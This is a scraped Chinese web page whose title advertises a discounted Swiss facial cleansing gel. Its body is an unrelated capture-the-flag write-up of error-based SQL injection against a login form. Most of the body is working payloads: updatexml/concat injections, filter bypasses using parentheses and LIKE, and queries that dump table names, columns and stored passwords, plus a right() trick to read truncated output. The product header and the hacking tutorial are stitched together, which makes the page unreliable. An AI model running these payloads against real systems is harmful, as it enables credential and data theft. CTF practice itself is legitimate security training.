1. 程式人生 > 資訊 >瑞士進口,Swissi Mage 清爽潔面啫喱 200g 裝 29 元(減 130 元)

瑞士進口,Swissi Mage 清爽潔面啫喱 200g 裝 29 元(減 130 元)

首先萬能密碼 admin'#,報出密碼錯誤。

admin' union select 1,2,3#查詢報出密另一種錯誤,開來是檢測到惡意字元了。

先考慮union繞過,

單獨拿出來試,大小寫註釋雙寫等都無法報出 wrong password 這個錯誤資訊,說明沒有繞過檢測成功。

select通過以上方法也是無法繞。

好多檢測過濾不掉了,聯合查詢此題看來是無法用了。

嘗試報錯注入。

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#或者用異或代替or

admin'^(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到資料庫

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database)),0x7e),1))#
用括號進行繞過空格。

updatexml concat select,information往後逐個檢測是否有過濾,檢查到等於號時

發現等於號原來也被過濾了,可用like進行代替。

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

只得到左邊的flag,看來是對資料庫的資料顯示有長度限制,只顯示了左邊的26個字元

網上的一個騷姿勢是用right函式right(password,27)顯示右邊的26個字元

拼接得到flag。